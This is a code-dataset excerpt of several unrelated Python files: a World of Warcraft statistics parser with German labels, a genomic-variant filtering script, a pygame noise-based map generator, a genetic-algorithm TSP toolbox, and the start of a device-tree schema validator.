is 'Reise'\n\t\tif entry.get('id', 0) == 134:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('statistics',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 349 is 'Bereiste Flugrouten'\n\t\t\t\tif subEntry.get('id', 0) == 349:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['flightPathsTaken'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 2277 is 'Beschwörungen angenommen'\n\t\t\t\tif subEntry.get('id', 0) == 2277:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['summonsAccepted'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 350 is 'Benutzte Magierportale'\n\t\t\t\tif subEntry.get('id', 0) == 350:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['portalsTaken'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 353 is 'Anzahl der Nutzungen des Ruhesteins'\n\t\t\t\tif subEntry.get('id', 0) == 353:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['hearthstoneUsed'] = subEntry.get('quantity', 0)\n\t\t\t\tif subListHits > 4:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 131 is 'Körpersprache'\n\t\tif entry.get('id', 0) == 131:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('statistics',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 1042 is 'Anzahl Umarmungen'\n\t\t\t\tif subEntry.get('id', 0) == 1042:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['hug'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 1047 is 'Anzahl der /ohgotts'\n\t\t\t\tif subEntry.get('id', 0) == 1047:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['ohgod'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 1066 is 'LOLs insgesamt'\n\t\t\t\tif subEntry.get('id', 0) == 1066:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['lol'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 1045 is 'Jubeln insgesamt'\n\t\t\t\tif subEntry.get('id', 0) == 1045:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['cheer'] = subEntry.get('quantity', 0)\n\t\t\t\t# id 1065 is 'Winken insgesamt (/winken)'\n\t\t\t\tif subEntry.get('id', 0) == 1065:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['wave'] = subEntry.get('quantity', 0)\n\t\t\t\tif subListHits > 5:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 122 is 'Deaths'/'Tode'\n\t\tif entry.get('id', 0) == 122:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('statistics', [])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 60 is 'Total deaths'/'Tode insgesamt'\n\t\t\t\tif subEntry.get('id',0) == 60:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['total'] = subEntry.get('quantity', 0)\n\t\t\t\tif subListHits > 1:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t\ttmpSubList = entry.get('subCategories',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 125 is 'Dungeons'/'Dungeons'\n\t\t\t\tif subEntry.get('id' ,0) == 125:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 918 is 'Tode in 5-Spieler-Dungeons insgesamt'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 918:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['dungeon'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 2219 is 'Tode in heroischen 5-Spieler-Dungeons insgesamt'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 2219:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['heroicDungeon'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 9368 is 'Tode in Schlachtzügen insgesamt'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 9368:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['raid'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 2:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\t# id 126 is 'World'/'Welt'\n\t\t\t\tif subEntry.get('id' ,0) == 126:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 112 is 'Tode durch Ertrinken'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 112:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['drowning'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 114 is 'Tode durch Stürze'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 114:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['falling'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 115 is 'Tode durch Feuer und Lava'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 115:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['fireAndLava'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 2:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\tif subListHits > 2:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 128 is 'Kills'/'Siege'\n\t\tif entry.get('id', 0) == 128:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('statistics',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 1197 is 'Total kills'/'Siege insgesamt'\n\t\t\t\tif subEntry.get('id',0) == 1197:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['kills'] = subEntry.get('quantity', 0)\n\t\t\t\tif subListHits > 1:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t\ttmpSubList = entry.get('subCategories',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 135 is 'Creatures'/'Kreaturen'\n\t\t\t\tif subEntry.get('id' ,0) == 135:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 108 is 'Kleintiere getötet'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 108:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['killsCritters'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 1:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\t# id 136 is 'Honorable Kills'/'Ehrenhafte Siege'\n\t\t\t\tif subEntry.get('id' ,0) == 136:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 381 is 'Weltweite ehrenhafte Siege'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 381:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['honorableKillsWorld'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1113 is 'Ehrenhafte Siege im Alteractal'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1113:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['honorableKillsAlteracValley'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1114 is 'Ehrenhafte Siege im Arathibecken'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1114:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['honorableKillsArathiBasin'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1115 is 'Ehrenhafte Siege in der Kriegshymnenschlucht'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1115:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['honorableKillsWarsongGulch'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1116 is 'Ehrenhafte Siege im Auge des Sturms'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1116:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['honorableKillsEyeOfTheStorm'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 5:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\tif subListHits > 2:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 21 is 'Player vs. player'/'Spieler gegen Spieler'\n\t\tif entry.get('id', 0) == 21:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('statistics',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 1501 is 'Total deaths from other players'/'Tode durch andere Spieler insgesamt'\n\t\t\t\tif subEntry.get('id',0) == 1501:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\td['individualStats']['otherPlayers'] = subEntry.get('quantity', 0)\n\t\t\t\tif subListHits > 1:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t\ttmpSubList = entry.get('subCategories',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 153 is 'Schlachtfelder'\n\t\t\t\tif subEntry.get('id' ,0) == 153:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 839 is 'Gespielte Schlachtfelder'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 839:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['battlegroundsPlayed'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 840 is 'Schlachtfelder gewonnen'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 840:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['battlegroundsWon'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 585 is 'Im Auge des Sturms eroberte Flaggen'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 840:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['eyeOfTheStormFlagsCaptured'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 393 is 'Türme im Alteractal verteidigt'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 393:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['alteracValleyTowersDefended'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 394 is 'Türme im Alteractal erobert'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 394:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['alteracValleyTowersCaptured'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 395 is 'In der Kriegshymnenschlucht eingenommene Flaggen'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 395:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['warsongGulchFlagsCaptured'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 586 is 'Verteidigte Flaggen in der Kriegshymnenschlucht'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 586:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['warsongGulchFlagsDefended'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 7:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\t# id 154 is 'World' / 'Welt'\n\t\t\t\tif subEntry.get('id', 0) == 154:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 319 is 'Duelle gewonnen'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 319:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['duelsWon'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 319 is 'Duelle verloren'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 320:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['duelsLost'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 2:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\tif subListHits > 3:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 130 is 'Charakter'\n\t\tif entry.get('id', 0) == 130:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('subCategories',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 145 is 'Verbrauchsgüter'\n\t\t\t\tif subEntry.get('id', 0) == 145:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 344 is 'Angelegte Verbände'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 344:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['bandages'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 345 is 'Heiltränke verbraucht'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 345:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['healingPotions'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 922 is 'Manatränke verbraucht'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 922:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['manaPotions'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 923 is 'Elixiere verbraucht'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 923:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['elixirs'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 811 is 'Fläschchen verbraucht'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 811:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['flasks'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 346 is 'Getränke verbraucht'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 346:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['beverages'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1774 is 'Verschiedene Getränke verbraucht'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1774:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['differentBeverages'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 347 is 'Nahrung konsumiert'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 347:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['food'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1775 is 'Verschiedene Nahrungsmittel konsumiert'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1775:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['differentFoods'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 812 is 'Gesundheitssteine benutzt'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 812:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['healthstones'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 10:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\t# id 147 is 'Ruf'\n\t\t\t\tif subEntry.get('id', 0) == 147:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 377 is 'Höchste Anzahl Fraktionen auf Ehrfürchtig'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 377:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['exaltedFactions'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 1:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\t# id 191 is 'Ausrüstung'\n\t\t\t\tif subEntry.get('id', 0) == 191:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 342 is 'Erhaltene epuische Gegenstände'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 342:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['epicsLooted'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1043 is 'Würfe für Gier bei Plünderungen'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1043:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['rollsGreed'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1044 is 'Würfe für Bedarf bei Plünderungen'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1044:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['rollsNeed'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 3:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\tif subListHits > 3:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\t\t# id 132 is 'Fertigkeiten'\n\t\tif entry.get('id', 0) == 132:\n\t\t\tlistHits += 1\n\t\t\ttmpSubList = entry.get('subCategories',[])\n\t\t\tfor subEntry in tmpSubList:\n\t\t\t\t# id 178 is 'Sekundäre Fertigkeiten'\n\t\t\t\tif subEntry.get('id', 0) == 178:\n\t\t\t\t\tsubListHits += 1\n\t\t\t\t\ttmpSubSubList = subEntry.get('statistics', [])\n\t\t\t\t\tfor subSubEntry in tmpSubSubList:\n\t\t\t\t\t\t# id 1524 is 'Kochfertigkeit'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1524:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['cooking'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1745 is 'Bekannte Kochrezepte'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1745:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['cookingRecipes'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1519 is 'Angelfertigkeit'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1519:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['fishing'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\t# id 1456 is 'Fische und andere geangelte Dinge'\n\t\t\t\t\t\tif subSubEntry.get('id', 0) == 1456:\n\t\t\t\t\t\t\tsubSubListHits += 1\n\t\t\t\t\t\t\td['individualStats']['fishCaught'] = subSubEntry.get('quantity', 0)\n\t\t\t\t\t\tif subSubListHits > 10:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tsubSubListHits = 0\n\t\t\t\tif subListHits > 3:\n\t\t\t\t\tbreak\n\t\t\tsubListHits = 0\n\treturn d","sub_path":"wow_de.py","file_name":"wow_de.py","file_ext":"py","file_size_in_byte":20956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"230092543","text":"def labelFilterVariants(annotated, rsID_maf, black_list, processpath, pair, labelled, filtered):\n\n import pandas as pd\n import subprocess as sp\n import os\n import re\n\n # load annotated variants\n variants = pd.read_table(annotated, sep='\\t', header=0)\n\n # load black list of genes\n with open(black_list) as infile:\n bl = infile.read().splitlines()\n\n # assign 'yes' label to variants that belong to genes in black list\n variants['black_list'] = ['yes' if row.gene in bl else 'no' for _, row in variants.iterrows()]\n\n # assign black_list 'yes' label to variants that belong to 3 gene families\n for prefix in ['^MUC', '^OR', '^KRT']:\n sel = [i for i, row in variants.iterrows() if re.search(prefix, row.gene)]\n variants.loc[sel, 'black_list'] = 'yes'\n\n\n # get indeces of polymorphisms according to 1000g, ESP and EXAC\n polym_1 = variants[(variants['1000g'] >= 0.01) | (variants.esp >= 0.01) | (variants.exac >= 0.01)].index.tolist()\n\n # load table of rdIDs and their MAFs (output of R script)\n rsID_maf = pd.read_table(rsID_maf, sep='\\t', header=0)\n\n # if for any rsID a MAF value was retrieved\n if len(rsID_maf) > 0:\n\n # select rsIDs with MAF >= 0.01\n rsID_remove = rsID_maf[rsID_maf['MAF'] >= 0.01]['Query']\n\n # select the indeces of their rows\n polym_2 = [i for i, row in variants.iterrows() if row.dbsnp_id in rsID_remove.tolist()]\n\n # get complete list of indeces of polymorphic variants\n polymorphisms = list(set(polym_1 + polym_2))\n\n else:\n # get complete list of indeces of polymorphic variants\n polymorphisms = list(set(polym_1)) \n\n\n # assign 'yes' label to polymorphisms and 'no' the others\n variants['polymorphism'] = ['yes' if i in polymorphisms else 'no' for i, row in variants.iterrows()]\n\n # write LABELLED variants to file\n variants.to_csv(labelled, sep='\\t', header=True, index=False)\n\n\n # keep exonic\n variants = variants[variants.exon == 'exonic']\n\n # remove synonymous\n variants = variants[variants.var_type != 'synonymous SNV']\n\n # remove polymorphisms\n variants = variants[variants.polymorphism == 'no']\n\n # remove genes in black_list\n variants = variants[variants.black_list == 'no']\n\n # remove variants in SEGDUPS\n to_drop = [i for i, row in variants.iterrows() if pd.notnull(row['segdups'])]\n variants = variants.drop(to_drop)\n\n # write FILTERED variants to file\n variants.to_csv(filtered, sep='\\t', header=True, index=False)\n\n\n\n # delete token file if --keep-going argument was specified in SNAKEMAKE\n if os.path.exists(processpath + 'failed/'):\n token = processpath + 'failed/' + pair\n if os.path.exists(token):\n os.remove(token)\n\n\n\n\nlabelFilterVariants(snakemake.input['annotated'],\n snakemake.input['rsID_maf'],\n snakemake.params['black_list'],\n snakemake.params['processpath'],\n snakemake.params['pair'],\n snakemake.output['labelled'],\n snakemake.output['filtered'])\n","sub_path":"scripts/labelFilterVariants_03.py","file_name":"labelFilterVariants_03.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"571575636","text":"import noise\nimport numpy as np\nimport pygame\nimport random\n\nblue = (0,0,255)\ngreen = (0,255,0)\ndarkgreen = (0,155,0)\nyellow = (255,255,0)\n\ngrass = pygame.image.load('grass.png')\nforest = pygame.image.load('forest.png')\nbeach = pygame.image.load('beach.png')\nsea = pygame.image.load('sea.png')\n\nclass Screen():\n def __init__(self,w,h):\n self.screen = pygame.display.set_mode((w,h))\n self.w = w\n self.h = h\n\nclass Tile():\n def __init__(self,image):\n self.image = image\n\nclass World():\n def __init__(self,size,tilesize):\n self.entities = []\n self.tilesize = tilesize\n self.size = size\n scale = 150.0\n octaves = 4\n persistence = 0.5\n lacunarity = 2.0\n seed = int(random.random()*100)\n\n noisemap = np.zeros((size,size))\n self.tilemap = [[None for i in range(size)] for j in range(size)]\n for i in range(size):\n for j in range(size):\n noisemap[i][j] = noise.pnoise2(i/scale,\n j/scale,\n octaves=octaves,\n persistence=persistence,\n lacunarity=lacunarity,\n repeatx=size,\n repeaty=size,\n base=0)#seed)\n\n # replace numbers with tiles\n for i in range(size):\n for j in range(size):\n if noisemap[i][j] < 0.1:\n img = grass\n elif noisemap[i][j] < 0.2:\n img = forest\n elif noisemap[i][j] < 0.25:\n img = beach\n elif noisemap[i][j] < 0.27:\n img = sea\n else:\n img = grass\n self.tilemap[i][j] = Tile(img)\n\nclass Entity():\n def __init__(self, world, camera=None, position=None, control=None):\n self.position = position\n self.camera = camera\n self.control = control\n world.entities.append(self)\n","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"183107380","text":"import copy\nimport random\n\nimport matplotlib.pyplot as plt\nfrom math import nan, copysign\n\nfrom ch10.tsp.individual import Individual\n\n\ndef selection_rank_with_elite(individuals, elite_size = 0):\n sorted_individuals = sorted(individuals, key = lambda ind: ind.fitness, reverse = True)\n rank_distance = 1 / len(individuals)\n ranks = [(1 - i * rank_distance) for i in range(len(individuals))]\n ranks_sum = sum(ranks)\n selected = sorted_individuals[0:elite_size]\n\n for i in range(len(sorted_individuals) - elite_size):\n shave = random.random() * ranks_sum\n rank_sum = 0\n for i in range(len(sorted_individuals)):\n rank_sum += ranks[i]\n if rank_sum > shave:\n selected.append(sorted_individuals[i])\n break\n\n return selected\n\n\ndef crossover_fitness_driven_order(ind1, ind2):\n p1, p2 = ind1.gene_list, ind2.gene_list\n zero_shift = min(p1)\n length = len(p1)\n start, end = sorted([random.randrange(length) for _ in range(2)])\n c1, c2 = [nan] * length, [nan] * length\n t1, t2 = [x - zero_shift for x in p1], [x - zero_shift for x in p2]\n\n spaces1, spaces2 = [True] * length, [True] * length\n for i in range(length):\n if i < start or i > end:\n spaces1[t2[i]] = False\n spaces2[t1[i]] = False\n\n j1, j2 = end + 1, end + 1\n for i in range(length):\n if not spaces1[t1[(end + i + 1) % length]]:\n c1[j1 % length] = t1[(end + i + 1) % length]\n j1 += 1\n\n if not spaces2[t2[(i + end + 1) % length]]:\n c2[j2 % length] = t2[(i + end + 1) % length]\n j2 += 1\n\n for i in range(start, end + 1):\n c1[i], c2[i] = t2[i], t1[i]\n\n child1 = Individual([x + zero_shift for x in c1])\n child2 = Individual([x + zero_shift for x in c2])\n\n candidates = [child1, child2, ind1, ind2]\n best = sorted(candidates, key = lambda ind: ind.fitness, reverse = True)\n\n return best[0:2]\n\n\ndef mutation_fitness_driven_shift(ind, max_tries = 3):\n for t in range(0, max_tries):\n mut = copy.deepcopy(ind.gene_list)\n pos = random.sample(range(0, len(mut)), 2)\n g1 = mut[pos[0]]\n dir = int(copysign(1, pos[1] - pos[0]))\n for i in range(pos[0], pos[1], dir):\n mut[i] = mut[i + dir]\n mut[pos[1]] = g1\n mutated = Individual(mut)\n if mutated.fitness > ind.fitness:\n return mutated\n return ind\n\n\ndef crossover_operation(population, method, prob):\n crossed_offspring = []\n for ind1, ind2 in zip(population[::2], population[1::2]):\n if random.random() < prob:\n kid1, kid2 = method(ind1, ind2)\n crossed_offspring.append(kid1)\n crossed_offspring.append(kid2)\n else:\n crossed_offspring.append(ind1)\n crossed_offspring.append(ind2)\n return crossed_offspring\n\n\ndef mutation_operation(population, method, prob):\n mutated_offspring = []\n for mutant in population:\n if random.random() < prob:\n new_mutant = method(mutant)\n mutated_offspring.append(new_mutant)\n else:\n mutated_offspring.append(mutant)\n return mutated_offspring\n\n\ndef stats(population, best_ind, fit_avg, fit_best):\n best_of_generation = max(population, key = lambda ind: ind.fitness)\n if best_ind.fitness < best_of_generation.fitness:\n best_ind = best_of_generation\n fit_avg.append(sum([ind.fitness for ind in population]) / len(population))\n fit_best.append(best_ind.fitness)\n\n return best_ind, fit_avg, fit_best\n\n\ndef plot_stats(fit_avg, fit_best, title):\n plt.plot(fit_avg, label = \"Average Fitness of Generation\")\n plt.plot(fit_best, label = \"Best Fitness\")\n plt.title(title)\n plt.legend(loc = \"lower right\")\n plt.show()\n","sub_path":"ch12/toolbox.py","file_name":"toolbox.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"251002580","text":"# SPDX-License-Identifier: BSD-2-Clause\n# Copyright 2018 Linaro Ltd.\n# Copyright 2018-2023 Arm Ltd.\n\nimport os\nimport sys\nimport re\nimport copy\nimport glob\nimport json\nimport jsonschema\nimport ruamel.yaml\n\nfrom jsonschema.exceptions import RefResolutionError\n\nimport dtschema\nfrom dtschema.lib import _is_string_schema\nfrom dtschema.lib import _get_array_range\nfrom dtschema.schema import 